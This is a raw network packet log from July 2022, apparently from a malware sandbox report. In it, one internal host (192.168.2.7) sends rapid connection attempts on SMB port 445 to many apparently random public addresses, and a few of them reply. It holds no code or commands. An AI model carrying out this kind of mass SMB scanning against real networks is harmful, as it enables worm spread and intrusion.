Jul 20, 2022 15:47:03.772706985 CEST	59832	445	192.168.2.7	96.97.103.243
Jul 20, 2022 15:47:03.773174047 CEST	59833	445	192.168.2.7	119.237.131.248
Jul 20, 2022 15:47:03.773814917 CEST	59834	445	192.168.2.7	102.66.9.206
Jul 20, 2022 15:47:03.778548002 CEST	59841	445	192.168.2.7	80.124.86.179
Jul 20, 2022 15:47:03.780935049 CEST	59845	445	192.168.2.7	26.166.182.98
Jul 20, 2022 15:47:03.850650072 CEST	59852	445	192.168.2.7	93.145.39.8
Jul 20, 2022 15:47:03.853081942 CEST	59856	445	192.168.2.7	89.73.247.95
Jul 20, 2022 15:47:03.856237888 CEST	59863	445	192.168.2.7	15.121.60.49
Jul 20, 2022 15:47:03.856949091 CEST	59864	445	192.168.2.7	84.108.20.179
Jul 20, 2022 15:47:03.858833075 CEST	59868	445	192.168.2.7	112.99.39.191
Jul 20, 2022 15:47:03.860642910 CEST	59872	445	192.168.2.7	164.65.198.113
Jul 20, 2022 15:47:03.950691938 CEST	59884	445	192.168.2.7	193.229.197.57
Jul 20, 2022 15:47:03.950978994 CEST	59890	445	192.168.2.7	128.98.228.19
Jul 20, 2022 15:47:03.951030016 CEST	59891	445	192.168.2.7	198.162.141.101
Jul 20, 2022 15:47:03.951036930 CEST	59889	445	192.168.2.7	185.176.182.203
Jul 20, 2022 15:47:03.962414026 CEST	59907	445	192.168.2.7	164.7.219.136
Jul 20, 2022 15:47:03.962554932 CEST	59908	445	192.168.2.7	144.25.32.169
Jul 20, 2022 15:47:03.963774920 CEST	59910	445	192.168.2.7	77.75.72.177
Jul 20, 2022 15:47:03.964632988 CEST	59911	445	192.168.2.7	155.194.237.80
Jul 20, 2022 15:47:03.976752996 CEST	445	59834	102.66.9.206	192.168.2.7
Jul 20, 2022 15:47:04.054495096 CEST	59915	443	192.168.2.7	20.199.120.85
Jul 20, 2022 15:47:04.054543972 CEST	443	59915	20.199.120.85	192.168.2.7
Jul 20, 2022 15:47:04.054639101 CEST	59915	443	192.168.2.7	20.199.120.85
Jul 20, 2022 15:47:04.055496931 CEST	59915	443	192.168.2.7	20.199.120.85
Jul 20, 2022 15:47:04.055521965 CEST	443	59915	20.199.120.85	192.168.2.7
Jul 20, 2022 15:47:04.153606892 CEST	443	59915	20.199.120.85	192.168.2.7
Jul 20, 2022 15:47:04.153816938 CEST	59915	443	192.168.2.7	20.199.120.85
Jul 20, 2022 15:47:04.188360929 CEST	59915	443	192.168.2.7	20.199.120.85
Jul 20, 2022 15:47:04.188421011 CEST	443	59915	20.199.120.85	192.168.2.7
Jul 20, 2022 15:47:04.188776970 CEST	443	59915	20.199.120.85	192.168.2.7
Jul 20, 2022 15:47:04.189730883 CEST	59915	443	192.168.2.7	20.199.120.85
Jul 20, 2022 15:47:04.195234060 CEST	59915	443	192.168.2.7	20.199.120.85
Jul 20, 2022 15:47:04.195275068 CEST	443	59915	20.199.120.85	192.168.2.7
Jul 20, 2022 15:47:04.195534945 CEST	59915	443	192.168.2.7	20.199.120.85
Jul 20, 2022 15:47:04.222661018 CEST	443	59915	20.199.120.85	192.168.2.7
Jul 20, 2022 15:47:04.223133087 CEST	59915	443	192.168.2.7	20.199.120.85
Jul 20, 2022 15:47:04.223149061 CEST	443	59915	20.199.120.85	192.168.2.7
Jul 20, 2022 15:47:04.223176003 CEST	59915	443	192.168.2.7	20.199.120.85
Jul 20, 2022 15:47:04.223185062 CEST	443	59915	20.199.120.85	192.168.2.7
Jul 20, 2022 15:47:04.223201036 CEST	443	59915	20.199.120.85	192.168.2.7
Jul 20, 2022 15:47:04.223217010 CEST	59915	443	192.168.2.7	20.199.120.85
Jul 20, 2022 15:47:04.596218109 CEST	59834	445	192.168.2.7	102.66.9.206
Jul 20, 2022 15:47:04.596386909 CEST	54329	445	192.168.2.7	38.85.220.1
Jul 20, 2022 15:47:04.798383951 CEST	445	59834	102.66.9.206	192.168.2.7
Jul 20, 2022 15:47:05.281754017 CEST	59918	445	192.168.2.7	188.18.139.102
Jul 20, 2022 15:47:05.282293081 CEST	59919	445	192.168.2.7	149.20.139.4
Jul 20, 2022 15:47:05.368887901 CEST	445	59918	188.18.139.102	192.168.2.7
Jul 20, 2022 15:47:05.369074106 CEST	59918	445	192.168.2.7	188.18.139.102
Jul 20, 2022 15:47:05.392294884 CEST	59918	445	192.168.2.7	188.18.139.102
Jul 20, 2022 15:47:05.394567013 CEST	59920	445	192.168.2.7	5.211.90.193
Jul 20, 2022 15:47:05.395255089 CEST	59921	445	192.168.2.7	111.55.136.165
Jul 20, 2022 15:47:05.395764112 CEST	59922	445	192.168.2.7	128.40.116.189
Jul 20, 2022 15:47:05.396261930 CEST	59923	445	192.168.2.7	29.181.138.101
Jul 20, 2022 15:47:05.397180080 CEST	59925	445	192.168.2.7	193.37.110.145
Jul 20, 2022 15:47:05.405985117 CEST	59944	445	192.168.2.7	145.100.99.26
Jul 20, 2022 15:47:05.407627106 CEST	59948	445	192.168.2.7	163.105.26.137
Jul 20, 2022 15:47:05.461915016 CEST	59952	445	192.168.2.7	185.142.235.177
Jul 20, 2022 15:47:05.466351986 CEST	59960	445	192.168.2.7	103.219.139.145
Jul 20, 2022 15:47:05.468816042 CEST	59964	445	192.168.2.7	168.194.233.115
Jul 20, 2022 15:47:05.471908092 CEST	59969	445	192.168.2.7	126.91.183.9
Jul 20, 2022 15:47:05.472371101 CEST	59970	445	192.168.2.7	172.61.23.197
Jul 20, 2022 15:47:05.473769903 CEST	59973	445	192.168.2.7	144.208.19.53
Jul 20, 2022 15:47:05.474211931 CEST	59974	445	192.168.2.7	163.207.13.120
Jul 20, 2022 15:47:05.474737883 CEST	59975	445	192.168.2.7	211.5.96.179
Jul 20, 2022 15:47:05.482093096 CEST	445	59918	188.18.139.102	192.168.2.7
Jul 20, 2022 15:47:05.482131004 CEST	445	59918	188.18.139.102	192.168.2.7
Jul 20, 2022 15:47:05.497517109 CEST	59918	445	192.168.2.7	188.18.139.102
Jul 20, 2022 15:47:05.499429941 CEST	59982	445	192.168.2.7	223.36.183.169
Jul 20, 2022 15:47:05.585150957 CEST	59986	445	192.168.2.7	97.37.197.191
Jul 20, 2022 15:47:05.585302114 CEST	59990	445	192.168.2.7	23.126.229.21
Jul 20, 2022 15:47:05.585395098 CEST	59992	445	192.168.2.7	4.134.33.136
Jul 20, 2022 15:47:05.585481882 CEST	59996	445	192.168.2.7	222.90.56.79
Jul 20, 2022 15:47:05.585562944 CEST	59997	445	192.168.2.7	76.254.137.52
Jul 20, 2022 15:47:05.585752010 CEST	59999	445	192.168.2.7	170.129.120.224
Jul 20, 2022 15:47:05.585755110 CEST	60000	445	192.168.2.7	49.196.49.42
Jul 20, 2022 15:47:05.585988045 CEST	60012	445	192.168.2.7	172.102.181.130
Jul 20, 2022 15:47:05.586139917 CEST	60017	445	192.168.2.7	159.154.224.71
Jul 20, 2022 15:47:05.586262941 CEST	60019	445	192.168.2.7	73.132.90.214
Jul 20, 2022 15:47:05.591283083 CEST	445	59918	188.18.139.102	192.168.2.7
Jul 20, 2022 15:47:05.591470003 CEST	59918	445	192.168.2.7	188.18.139.102
Jul 20, 2022 15:47:05.680866003 CEST	445	59918	188.18.139.102	192.168.2.7
Jul 20, 2022 15:47:05.703907967 CEST	59918	445	192.168.2.7	188.18.139.102
Jul 20, 2022 15:47:05.782244921 CEST	445	59969	126.91.183.9	192.168.2.7
Jul 20, 2022 15:47:05.794859886 CEST	445	59918	188.18.139.102	192.168.2.7
Jul 20, 2022 15:47:05.940011978 CEST	59918	445	192.168.2.7	188.18.139.102
Jul 20, 2022 15:47:06.030437946 CEST	59918	445	192.168.2.7	188.18.139.102
Jul 20, 2022 15:47:06.124727964 CEST	445	59918	188.18.139.102	192.168.2.7
Jul 20, 2022 15:47:06.124888897 CEST	59918	445	192.168.2.7	188.18.139.102
Jul 20, 2022 15:47:06.440068007 CEST	59969	445	192.168.2.7	126.91.183.9
Jul 20, 2022 15:47:06.749049902 CEST	445	59969	126.91.183.9	192.168.2.7
Jul 20, 2022 15:47:07.252680063 CEST	59969	445	192.168.2.7	126.91.183.9
Jul 20, 2022 15:47:07.561039925 CEST	445	59969	126.91.183.9	192.168.2.7
Jul 20, 2022 15:47:07.714487076 CEST	60025	445	192.168.2.7	107.186.141.48
Jul 20, 2022 15:47:07.733372927 CEST	60026	445	192.168.2.7	188.18.139.103
Jul 20, 2022 15:47:07.813718081 CEST	445	60026	188.18.139.103	192.168.2.7
Jul 20, 2022 15:47:07.813817978 CEST	60026	445	192.168.2.7	188.18.139.103
Jul 20, 2022 15:47:07.814095974 CEST	60026	445	192.168.2.7	188.18.139.103
Jul 20, 2022 15:47:07.817364931 CEST	60030	445	192.168.2.7	85.86.129.229
Jul 20, 2022 15:47:07.818092108 CEST	60031	445	192.168.2.7	28.209.95.217
Jul 20, 2022 15:47:07.818794012 CEST	60032	445	192.168.2.7	194.77.54.215
Jul 20, 2022 15:47:07.825428009 CEST	60042	445	192.168.2.7	219.42.158.203
Jul 20, 2022 15:47:07.828104973 CEST	60046	445	192.168.2.7	208.103.176.252
Jul 20, 2022 15:47:07.836786032 CEST	60053	445	192.168.2.7	18.198.215.222
Jul 20, 2022 15:47:07.837522984 CEST	60054	445	192.168.2.7	13.30.115.38
Jul 20, 2022 15:47:07.886653900 CEST	445	60025	107.186.141.48	192.168.2.7
Jul 20, 2022 15:47:07.886900902 CEST	60025	445	192.168.2.7	107.186.141.48
Jul 20, 2022 15:47:07.894746065 CEST	445	60026	188.18.139.103	192.168.2.7
Jul 20, 2022 15:47:07.902317047 CEST	445	60026	188.18.139.103	192.168.2.7
Jul 20, 2022 15:47:07.902523994 CEST	60026	445	192.168.2.7	188.18.139.103
Jul 20, 2022 15:47:07.929845095 CEST	60025	445	192.168.2.7	107.186.141.48
Jul 20, 2022 15:47:07.930500984 CEST	60056	445	192.168.2.7	99.36.174.109
Jul 20, 2022 15:47:07.931303024 CEST	60057	445	192.168.2.7	222.79.144.188
Jul 20, 2022 15:47:07.932013035 CEST	60058	445	192.168.2.7	125.70.232.49
Jul 20, 2022 15:47:07.932656050 CEST	60059	445	192.168.2.7	171.62.210.200
Jul 20, 2022 15:47:07.933979988 CEST	60061	445	192.168.2.7	30.117.127.10
Jul 20, 2022 15:47:08.004575014 CEST	60080	445	192.168.2.7	38.237.109.58
Jul 20, 2022 15:47:08.120713949 CEST	445	60025	107.186.141.48	192.168.2.7
Jul 20, 2022 15:47:08.163707018 CEST	60025	445	192.168.2.7	107.186.141.48
Jul 20, 2022 15:47:08.277394056 CEST	60084	445	192.168.2.7	68.62.147.19
Jul 20, 2022 15:47:08.280862093 CEST	60085	445	192.168.2.7	188.18.139.103
Jul 20, 2022 15:47:08.282938957 CEST	60091	445	192.168.2.7	190.54.229.43
Jul 20, 2022 15:47:08.283023119 CEST	60094	445	192.168.2.7	216.90.56.196
Jul 20, 2022 15:47:08.283138037 CEST	60096	445	192.168.2.7	31.217.161.36
Jul 20, 2022 15:47:08.283226013 CEST	60100	445	192.168.2.7	68.219.168.80
Jul 20, 2022 15:47:08.283277035 CEST	60101	445	192.168.2.7	212.25.118.111
Jul 20, 2022 15:47:08.283385038 CEST	60103	445	192.168.2.7	21.132.129.120
Jul 20, 2022 15:47:08.283421040 CEST	60104	445	192.168.2.7	103.205.27.217
Jul 20, 2022 15:47:08.283803940 CEST	60117	445	192.168.2.7	103.45.45.232
Jul 20, 2022 15:47:08.286263943 CEST	60122	445	192.168.2.7	37.58.52.36
Jul 20, 2022 15:47:08.286309958 CEST	60123	445	192.168.2.7	167.64.10.18
Jul 20, 2022 15:47:08.286462069 CEST	60124	445	192.168.2.7	167.149.6.36
Jul 20, 2022 15:47:08.286662102 CEST	60130	445	192.168.2.7	75.73.146.213
Jul 20, 2022 15:47:08.286801100 CEST	60132	445	192.168.2.7	137.57.65.206
Jul 20, 2022 15:47:08.288969040 CEST	60133	445	192.168.2.7	199.252.145.56
Jul 20, 2022 15:47:08.336683989 CEST	445	60025	107.186.141.48	192.168.2.7
Jul 20, 2022 15:47:08.357161045 CEST	60025	445	192.168.2.7	107.186.141.48
Jul 20, 2022 15:47:08.363409996 CEST	445	60085	188.18.139.103	192.168.2.7
Jul 20, 2022 15:47:08.363568068 CEST	60085	445	192.168.2.7	188.18.139.103
Jul 20, 2022 15:47:08.363991976 CEST	60085	445	192.168.2.7	188.18.139.103
Jul 20, 2022 15:47:08.388657093 CEST	445	60104	103.205.27.217	192.168.2.7
Jul 20, 2022 15:47:08.440308094 CEST	59919	445	192.168.2.7	149.20.139.4
Jul 20, 2022 15:47:08.449526072 CEST	445	60085	188.18.139.103	192.168.2.7
Jul 20, 2022 15:47:08.453413963 CEST	445	60085	188.18.139.103	192.168.2.7
Jul 20, 2022 15:47:08.453584909 CEST	60085	445	192.168.2.7	188.18.139.103
Jul 20, 2022 15:47:08.529515028 CEST	445	60025	107.186.141.48	192.168.2.7
Jul 20, 2022 15:47:08.539529085 CEST	445	60085	188.18.139.103	192.168.2.7
Jul 20, 2022 15:47:08.539789915 CEST	60085	445	192.168.2.7	188.18.139.103
Jul 20, 2022 15:47:08.582364082 CEST	60134	445	192.168.2.7	107.186.141.49
Jul 20, 2022 15:47:08.625507116 CEST	445	60085	188.18.139.103	192.168.2.7
Jul 20, 2022 15:47:08.625760078 CEST	60085	445	192.168.2.7	188.18.139.103
Jul 20, 2022 15:47:08.709547997 CEST	445	60085	188.18.139.103	192.168.2.7
Jul 20, 2022 15:47:08.709717989 CEST	60085	445	192.168.2.7	188.18.139.103
Jul 20, 2022 15:47:08.753289938 CEST	445	60134	107.186.141.49	192.168.2.7
Jul 20, 2022 15:47:08.753489017 CEST	60134	445	192.168.2.7	107.186.141.49
Jul 20, 2022 15:47:08.753658056 CEST	60134	445	192.168.2.7	107.186.141.49
Jul 20, 2022 15:47:08.760068893 CEST	60135	445	192.168.2.7	107.186.141.49
Jul 20, 2022 15:47:08.795131922 CEST	445	60085	188.18.139.103	192.168.2.7
Jul 20, 2022 15:47:08.795257092 CEST	60085	445	192.168.2.7	188.18.139.103
Jul 20, 2022 15:47:08.923063993 CEST	60104	445	192.168.2.7	103.205.27.217
Jul 20, 2022 15:47:08.924168110 CEST	445	60134	107.186.141.49	192.168.2.7
Jul 20, 2022 15:47:08.924190044 CEST	445	60134	107.186.141.49	192.168.2.7
Jul 20, 2022 15:47:08.933331013 CEST	445	60135	107.186.141.49	192.168.2.7
Jul 20, 2022 15:47:08.933434963 CEST	60135	445	192.168.2.7	107.186.141.49
Jul 20, 2022 15:47:08.933661938 CEST	60135	445	192.168.2.7	107.186.141.49
Jul 20, 2022 15:47:08.967261076 CEST	60137	445	192.168.2.7	3.62.172.128
Jul 20, 2022 15:47:08.967911005 CEST	60143	445	192.168.2.7	93.16.31.42
Jul 20, 2022 15:47:08.968003988 CEST	60145	445	192.168.2.7	110.56.55.228
Jul 20, 2022 15:47:08.968161106 CEST	60149	445	192.168.2.7	94.171.30.163
Jul 20, 2022 15:47:08.968169928 CEST	60150	445	192.168.2.7	49.235.196.203
Jul 20, 2022 15:47:08.968249083 CEST	60151	445	192.168.2.7	160.12.235.219
Jul 20, 2022 15:47:08.968539953 CEST	60161	445	192.168.2.7	195.123.187.243
Jul 20, 2022 15:47:09.029069901 CEST	445	60104	103.205.27.217	192.168.2.7
Jul 20, 2022 15:47:09.050956011 CEST	60165	445	192.168.2.7	220.197.72.148
Jul 20, 2022 15:47:09.057359934 CEST	60168	445	192.168.2.7	4.152.125.194
Jul 20, 2022 15:47:09.057373047 CEST	60167	445	192.168.2.7	182.137.160.73
Jul 20, 2022 15:47:09.057434082 CEST	60169	445	192.168.2.7	15.162.155.154
Jul 20, 2022 15:47:09.057514906 CEST	60166	445	192.168.2.7	221.227.9.37
Jul 20, 2022 15:47:09.108010054 CEST	445	60135	107.186.141.49	192.168.2.7
Jul 20, 2022 15:47:09.108336926 CEST	60135	445	192.168.2.7	107.186.141.49
Jul 20, 2022 15:47:09.114149094 CEST	60189	445	192.168.2.7	62.175.228.95
Jul 20, 2022 15:47:09.281586885 CEST	445	60135	107.186.141.49	192.168.2.7
Jul 20, 2022 15:47:09.281789064 CEST	60135	445	192.168.2.7	107.186.141.49
Jul 20, 2022 15:47:09.394335985 CEST	60193	445	192.168.2.7	216.17.247.45
Jul 20, 2022 15:47:09.411458015 CEST	60197	445	192.168.2.7	200.139.244.202
Jul 20, 2022 15:47:09.412141085 CEST	60198	445	192.168.2.7	118.154.198.214
Jul 20, 2022 15:47:09.413378000 CEST	60200	445	192.168.2.7	135.133.129.232
Jul 20, 2022 15:47:09.455199003 CEST	445	60135	107.186.141.49	192.168.2.7
Jul 20, 2022 15:47:09.482613087 CEST	60208	445	192.168.2.7	22.158.158.162
Jul 20, 2022 15:47:09.482706070 CEST	60209	445	192.168.2.7	148.203.194.248
Jul 20, 2022 15:47:09.482712030 CEST	60211	445	192.168.2.7	17.204.24.78
Jul 20, 2022 15:47:09.482919931 CEST	60217	445	192.168.2.7	181.93.46.253
Jul 20, 2022 15:47:09.482964993 CEST	60218	445	192.168.2.7	147.212.253.121
Jul 20, 2022 15:47:09.482985973 CEST	60219	445	192.168.2.7	111.75.223.179
Jul 20, 2022 15:47:09.483127117 CEST	60224	445	192.168.2.7	24.6.123.124
Jul 20, 2022 15:47:09.483566999 CEST	60236	445	192.168.2.7	137.175.134.49
Jul 20, 2022 15:47:09.483649015 CEST	60238	445	192.168.2.7	72.218.178.69
Jul 20, 2022 15:47:09.483668089 CEST	60239	445	192.168.2.7	145.215.128.208
Jul 20, 2022 15:47:09.483750105 CEST	60241	445	192.168.2.7	12.80.198.182
Jul 20, 2022 15:47:10.080550909 CEST	60245	445	192.168.2.7	4.229.103.29
Jul 20, 2022 15:47:10.082385063 CEST	60250	445	192.168.2.7	145.101.181.210
Jul 20, 2022 15:47:10.082503080 CEST	60252	445	192.168.2.7	177.38.230.235
Jul 20, 2022 15:47:10.082685947 CEST	60256	445	192.168.2.7	66.174.110.128
Jul 20, 2022 15:47:10.082758904 CEST	60257	445	192.168.2.7	88.223.190.3
Jul 20, 2022 15:47:10.082834959 CEST	60258	445	192.168.2.7	222.172.7.77
Jul 20, 2022 15:47:10.083159924 CEST	60268	445	192.168.2.7	154.85.77.120
Jul 20, 2022 15:47:10.168135881 CEST	60275	445	192.168.2.7	136.45.41.177
Jul 20, 2022 15:47:10.168221951 CEST	60277	445	192.168.2.7	40.93.185.145
Jul 20, 2022 15:47:10.168229103 CEST	60276	445	192.168.2.7	117.189.210.208
Jul 20, 2022 15:47:10.168266058 CEST	60278	445	192.168.2.7	211.64.15.221
Jul 20, 2022 15:47:10.168301105 CEST	60279	445	192.168.2.7	149.44.234.126
Jul 20, 2022 15:47:10.267899990 CEST	60296	445	192.168.2.7	73.237.253.220
Jul 20, 2022 15:47:10.535859108 CEST	60300	445	192.168.2.7	9.34.99.110
Jul 20, 2022 15:47:10.536837101 CEST	60301	445	192.168.2.7	12.191.45.185
Jul 20, 2022 15:47:10.554908991 CEST	60303	445	192.168.2.7	19.79.124.152
Jul 20, 2022 15:47:10.590585947 CEST	60304	445	192.168.2.7	55.139.156.66
Jul 20, 2022 15:47:10.605882883 CEST	60308	445	192.168.2.7	42.160.104.208
Jul 20, 2022 15:47:10.609004974 CEST	60311	445	192.168.2.7	147.150.99.119
Jul 20, 2022 15:47:10.643968105 CEST	60326	445	192.168.2.7	216.102.86.241
Jul 20, 2022 15:47:10.644038916 CEST	60327	445	192.168.2.7	29.103.151.17
Jul 20, 2022 15:47:10.644121885 CEST	60328	445	192.168.2.7	126.54.217.103
Jul 20, 2022 15:47:10.644282103 CEST	60330	445	192.168.2.7	59.168.210.17
Jul 20, 2022 15:47:10.644571066 CEST	60337	445	192.168.2.7	210.31.53.81
Jul 20, 2022 15:47:10.644668102 CEST	60339	445	192.168.2.7	179.140.249.46
Jul 20, 2022 15:47:10.644866943 CEST	60342	445	192.168.2.7	190.198.12.70
Jul 20, 2022 15:47:10.645109892 CEST	60347	445	192.168.2.7	31.150.173.149
Jul 20, 2022 15:47:10.645173073 CEST	60348	445	192.168.2.7	81.217.132.87
Jul 20, 2022 15:47:10.674338102 CEST	445	60301	12.191.45.185	192.168.2.7
Jul 20, 2022 15:47:11.174897909 CEST	60301	445	192.168.2.7	12.191.45.185
Jul 20, 2022 15:47:11.210377932 CEST	60355	445	192.168.2.7	115.20.103.117
Jul 20, 2022 15:47:11.214045048 CEST	60360	445	192.168.2.7	1.222.22.41
Jul 20, 2022 15:47:11.216414928 CEST	60365	445	192.168.2.7	163.14.70.93
Jul 20, 2022 15:47:11.217510939 CEST	60367	445	192.168.2.7	122.73.143.169
Jul 20, 2022 15:47:11.219217062 CEST	60371	445	192.168.2.7	129.46.161.144
Jul 20, 2022 15:47:11.219671011 CEST	60372	445	192.168.2.7	105.33.133.189
Jul 20, 2022 15:47:11.220149040 CEST	60373	445	192.168.2.7	207.8.235.26
Jul 20, 2022 15:47:11.287264109 CEST	60382	445	192.168.2.7	157.251.140.182
Jul 20, 2022 15:47:11.287919998 CEST	60383	445	192.168.2.7	191.100.237.118
Jul 20, 2022 15:47:11.290554047 CEST	60384	445	192.168.2.7	189.181.171.22
Jul 20, 2022 15:47:11.292388916 CEST	60385	445	192.168.2.7	49.205.247.40
Jul 20, 2022 15:47:11.292496920 CEST	60387	445	192.168.2.7	85.111.243.65
Jul 20, 2022 15:47:11.312586069 CEST	445	60301	12.191.45.185	192.168.2.7
Jul 20, 2022 15:47:11.390671968 CEST	60404	445	192.168.2.7	8.56.81.192
Jul 20, 2022 15:47:11.660892010 CEST	60407	445	192.168.2.7	65.114.64.241
Jul 20, 2022 15:47:11.665466070 CEST	60408	445	192.168.2.7	124.80.213.251
Jul 20, 2022 15:47:11.679207087 CEST	60410	445	192.168.2.7	115.83.91.121
Jul 20, 2022 15:47:11.708209991 CEST	60411	445	192.168.2.7	10.167.187.148
Jul 20, 2022 15:47:11.732422113 CEST	60418	445	192.168.2.7	188.18.139.103
Jul 20, 2022 15:47:11.733388901 CEST	60427	445	192.168.2.7	154.132.35.4
Jul 20, 2022 15:47:11.733414888 CEST	60429	445	192.168.2.7	152.31.179.203
Jul 20, 2022 15:47:11.792964935 CEST	60432	445	192.168.2.7	163.246.243.245
Jul 20, 2022 15:47:11.802190065 CEST	60433	445	192.168.2.7	178.168.62.239
Jul 20, 2022 15:47:11.802608967 CEST	60437	445	192.168.2.7	88.148.191.229
Jul 20, 2022 15:47:11.802947044 CEST	60441	445	192.168.2.7	3.226.110.60
Jul 20, 2022 15:47:11.803293943 CEST	60443	445	192.168.2.7	129.30.134.73
Jul 20, 2022 15:47:11.803626060 CEST	60449	445	192.168.2.7	168.41.22.0
Jul 20, 2022 15:47:11.803966999 CEST	60453	445	192.168.2.7	176.241.133.149
Jul 20, 2022 15:47:11.804078102 CEST	60454	445	192.168.2.7	221.171.10.97
Jul 20, 2022 15:47:11.804167986 CEST	60455	445	192.168.2.7	188.183.82.143
Jul 20, 2022 15:47:11.815275908 CEST	445	60418	188.18.139.103	192.168.2.7
Jul 20, 2022 15:47:11.815459967 CEST	60418	445	192.168.2.7	188.18.139.103
Jul 20, 2022 15:47:11.817960024 CEST	60418	445	192.168.2.7	188.18.139.103
Jul 20, 2022 15:47:11.900958061 CEST	445	60418	188.18.139.103	192.168.2.7
Jul 20, 2022 15:47:11.907573938 CEST	445	60418	188.18.139.103	192.168.2.7
Jul 20, 2022 15:47:11.907732964 CEST	60418	445	192.168.2.7	188.18.139.103
Jul 20, 2022 15:47:11.994523048 CEST	445	60418	188.18.139.103	192.168.2.7
Jul 20, 2022 15:47:11.994677067 CEST	60418	445	192.168.2.7	188.18.139.103
Jul 20, 2022 15:47:12.079741001 CEST	445	60418	188.18.139.103	192.168.2.7
Jul 20, 2022 15:47:12.079912901 CEST	60418	445	192.168.2.7	188.18.139.103
Jul 20, 2022 15:47:12.163364887 CEST	445	60418	188.18.139.103	192.168.2.7
Jul 20, 2022 15:47:12.163523912 CEST	60418	445	192.168.2.7	188.18.139.103
Jul 20, 2022 15:47:12.237185955 CEST	60460	445	192.168.2.7	188.18.139.104
Jul 20, 2022 15:47:12.248780012 CEST	445	60418	188.18.139.103	192.168.2.7
Jul 20, 2022 15:47:12.248878002 CEST	60418	445	192.168.2.7	188.18.139.103
Jul 20, 2022 15:47:12.334381104 CEST	60465	445	192.168.2.7	165.247.181.195
Jul 20, 2022 15:47:12.336647987 CEST	60470	445	192.168.2.7	218.179.220.233
Jul 20, 2022 15:47:12.349503994 CEST	60475	445	192.168.2.7	102.236.178.39
Jul 20, 2022 15:47:12.354542017 CEST	60477	445	192.168.2.7	62.18.211.165
Jul 20, 2022 15:47:12.354635000 CEST	60481	445	192.168.2.7	97.133.153.134
Jul 20, 2022 15:47:12.354657888 CEST	60482	445	192.168.2.7	196.248.197.27
Jul 20, 2022 15:47:12.354708910 CEST	60483	445	192.168.2.7	33.138.210.59
Jul 20, 2022 15:47:12.414751053 CEST	60493	445	192.168.2.7	55.221.65.210
Jul 20, 2022 15:47:12.414803982 CEST	60494	445	192.168.2.7	150.227.147.164
Jul 20, 2022 15:47:12.414819956 CEST	60492	445	192.168.2.7	218.65.45.200
Jul 20, 2022 15:47:12.414921999 CEST	60497	445	192.168.2.7	108.170.204.191
Jul 20, 2022 15:47:12.415043116 CEST	60500	445	192.168.2.7	29.221.95.218
Jul 20, 2022 15:47:12.470813036 CEST	60510	445	192.168.2.7	107.186.141.49
Jul 20, 2022 15:47:12.517966032 CEST	60517	445	192.168.2.7	165.29.201.144
Jul 20, 2022 15:47:12.639802933 CEST	445	60510	107.186.141.49	192.168.2.7
Jul 20, 2022 15:47:12.639926910 CEST	60510	445	192.168.2.7	107.186.141.49
Jul 20, 2022 15:47:12.640094042 CEST	60510	445	192.168.2.7	107.186.141.49
Jul 20, 2022 15:47:12.808995962 CEST	445	60510	107.186.141.49	192.168.2.7
Jul 20, 2022 15:47:12.811350107 CEST	60510	445	192.168.2.7	107.186.141.49
Jul 20, 2022 15:47:12.814380884 CEST	60519	445	192.168.2.7	145.189.105.145
Jul 20, 2022 15:47:12.814994097 CEST	60520	445	192.168.2.7	23.157.165.152
Jul 20, 2022 15:47:12.820035934 CEST	60521	445	192.168.2.7	12.93.139.25
Jul 20, 2022 15:47:12.848261118 CEST	60525	445	192.168.2.7	21.171.51.233
Jul 20, 2022 15:47:12.944380999 CEST	60528	445	192.168.2.7	184.222.192.87
Jul 20, 2022 15:47:12.980262995 CEST	60529	445	192.168.2.7	93.97.217.96
Jul 20, 2022 15:47:12.980317116 CEST	60530	445	192.168.2.7	104.148.54.208
Jul 20, 2022 15:47:12.980452061 CEST	445	60510	107.186.141.49	192.168.2.7
Jul 20, 2022 15:47:12.980607986 CEST	60536	445	192.168.2.7	52.22.109.62
Jul 20, 2022 15:47:12.980794907 CEST	60540	445	192.168.2.7	179.37.251.166
Jul 20, 2022 15:47:12.980902910 CEST	60542	445	192.168.2.7	69.179.18.224
Jul 20, 2022 15:47:12.981046915 CEST	60546	445	192.168.2.7	171.117.102.143
Jul 20, 2022 15:47:12.981162071 CEST	60549	445	192.168.2.7	164.183.104.192
Jul 20, 2022 15:47:12.981256962 CEST	60551	445	192.168.2.7	160.126.136.254
Jul 20, 2022 15:47:12.981391907 CEST	60554	445	192.168.2.7	115.189.79.186
Jul 20, 2022 15:47:12.981566906 CEST	60558	445	192.168.2.7	59.183.108.182
Jul 20, 2022 15:47:12.982319117 CEST	60510	445	192.168.2.7	107.186.141.49
Jul 20, 2022 15:47:13.151686907 CEST	445	60510	107.186.141.49	192.168.2.7
Jul 20, 2022 15:47:13.235126972 CEST	60569	445	192.168.2.7	107.186.141.50
Jul 20, 2022 15:47:13.285881042 CEST	60570	445	192.168.2.7	188.18.139.105
Jul 20, 2022 15:47:13.406550884 CEST	445	60569	107.186.141.50	192.168.2.7
Jul 20, 2022 15:47:13.406802893 CEST	60569	445	192.168.2.7	107.186.141.50
Jul 20, 2022 15:47:13.406847000 CEST	60569	445	192.168.2.7	107.186.141.50
Jul 20, 2022 15:47:13.409044981 CEST	60572	445	192.168.2.7	107.186.141.50
Jul 20, 2022 15:47:13.463515043 CEST	60577	445	192.168.2.7	97.14.47.140
Jul 20, 2022 15:47:13.466300011 CEST	60582	445	192.168.2.7	223.28.190.18
Jul 20, 2022 15:47:13.475117922 CEST	60591	445	192.168.2.7	87.133.9.47
Jul 20, 2022 15:47:13.476022959 CEST	60593	445	192.168.2.7	94.225.99.144
Jul 20, 2022 15:47:13.476489067 CEST	60594	445	192.168.2.7	63.84.219.202
Jul 20, 2022 15:47:13.479207993 CEST	60597	445	192.168.2.7	152.164.17.24
Jul 20, 2022 15:47:13.480875969 CEST	60600	445	192.168.2.7	194.210.10.112
Jul 20, 2022 15:47:13.524703979 CEST	60603	445	192.168.2.7	92.243.249.164
Jul 20, 2022 15:47:13.524734020 CEST	60604	445	192.168.2.7	19.89.117.135
Jul 20, 2022 15:47:13.524894953 CEST	60609	445	192.168.2.7	205.76.114.242
Jul 20, 2022 15:47:13.524959087 CEST	60613	445	192.168.2.7	47.28.80.152
Jul 20, 2022 15:47:13.577951908 CEST	445	60569	107.186.141.50	192.168.2.7
Jul 20, 2022 15:47:13.577982903 CEST	445	60569	107.186.141.50	192.168.2.7
Jul 20, 2022 15:47:13.580106020 CEST	445	60572	107.186.141.50	192.168.2.7
Jul 20, 2022 15:47:13.580646992 CEST	60572	445	192.168.2.7	107.186.141.50
Jul 20, 2022 15:47:13.580668926 CEST	60572	445	192.168.2.7	107.186.141.50
Jul 20, 2022 15:47:13.636568069 CEST	60627	445	192.168.2.7	80.209.116.62
